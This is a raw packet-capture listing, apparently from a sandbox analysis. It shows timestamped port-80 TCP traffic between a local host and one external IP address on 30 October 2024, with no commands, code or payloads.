Oct 30, 2024 18:06:18.265527010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.265531063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.265572071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.265836954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.265898943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.265901089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.265909910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.265954018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.266086102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.266128063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.266156912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.266168118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.266196012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.266223907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.266326904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.266339064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.266386032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.266618967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.266669989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.266674042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.266704082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.266779900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.266793966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.266834021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.266904116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.266952038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.267097950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.267146111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.267189026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.267199039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.267261028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.305480003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.305537939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.305550098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.305610895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.305627108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.305630922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.305643082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.305655003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.305666924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.305666924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.305701017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.350925922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.350941896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.350953102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.351069927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.395926952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.395987988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.395999908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.396008968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.396035910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.396284103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.396296024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.396306992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.396334887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.396349907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.396440983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.396452904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.396495104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.396835089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.396845102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.396857023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.396895885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.396909952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.396923065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.396934032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.396945000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.396958113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.396964073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.396970034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.396991014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.397012949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.397320986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.397370100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.397389889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.397402048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.397423983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.397439957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.397635937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.397646904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.397658110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.397686005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.397710085 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.422290087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.422348022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.422358990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.422369957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.422394991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.422545910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.422558069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.422568083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.422599077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.422610998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.462857008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.462867975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.462938070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.468452930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.468545914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.468544960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.468558073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.468588114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.468616009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.499123096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.499191046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.499197006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.499201059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.499241114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.499245882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.499272108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.512895107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.512955904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.512974977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.512985945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.513020039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.513056993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.513103008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.513185024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.513197899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.513235092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.513386965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.513398886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.513438940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.513561964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.513611078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.513632059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.513643026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.513669968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.513700008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.514137983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.514149904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.514163017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.514174938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.514184952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.514187098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.514199018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.514229059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.514345884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.514385939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.514413118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.514425039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.514448881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.514480114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.514611006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.514621973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.514652967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.539232969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.539253950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.539264917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.539309978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.539345026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.539412022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.539423943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.539436102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.539452076 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.539478064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.579705954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.579718113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.579730034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.579771996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.579777002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.579808950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.579808950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.584686995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.584734917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.584748030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.584769964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.584796906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.616209984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.616255045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.616266012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.616303921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.616321087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.629960060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.630001068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.630012989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.630018950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.630039930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.630058050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.630212069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.630223989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.630234003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.630245924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.630264044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.630290031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.630384922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.630408049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.630449057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.630477905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.630503893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.630515099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.630547047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.630568027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.630611897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.630683899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.630695105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.630731106 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.630844116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.630855083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.630896091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.631091118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.631131887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.631161928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.631175041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.631211996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.631268024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.631316900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.631486893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.631515026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.631532907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.631547928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.656637907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.656651974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.656662941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.656773090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.656779051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.656785011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.656812906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.656857014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.696616888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.696664095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.696676970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.696784019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.696825981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.701584101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.701601028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.701638937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.701657057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.701673985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.701752901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.701764107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.701775074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.701802969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.701848984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.733045101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.733097076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.733108044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.733269930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.746680975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.746750116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.746771097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.746797085 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.746828079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.746830940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.746866941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.746896982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.746912956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.746941090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.746952057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.747088909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.747136116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.747163057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.747178078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.747208118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.747219086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.747332096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.747344017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.747355938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.747380018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.747399092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.747714996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.747776031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.747792959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.747803926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.747838974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.747997999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.748042107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.748053074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.748060942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.748074055 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.748092890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.748157024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.748202085 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.748353958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.748363972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.748404026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.773493052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.773571014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.773578882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.773585081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.773612022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.773631096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.773755074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.773766994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.773811102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.773917913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.773931026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.773971081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.774034977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.774082899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.813637972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.813651085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.813662052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.813766956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.818499088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.818535089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.818546057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.818553925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.818578005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.818597078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.818691015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.818701982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.818742037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.173090935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.173158884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.173207998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.173219919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.173245907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.173253059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.173264027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.173290014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.173325062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.173333883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.173341990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.173343897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.173346996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.173353910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.173362017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.173365116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.173367977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.173388004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.173423052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.173583984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.173618078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.173624992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.173629999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.173644066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.173655033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.173670053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.173681021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.174025059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.174036980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.174048901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.174062014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.174068928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.174072981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.174084902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.174088955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.174103022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.174104929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.174113035 CET	80	49704	185.215.113.206	192.168.2.5
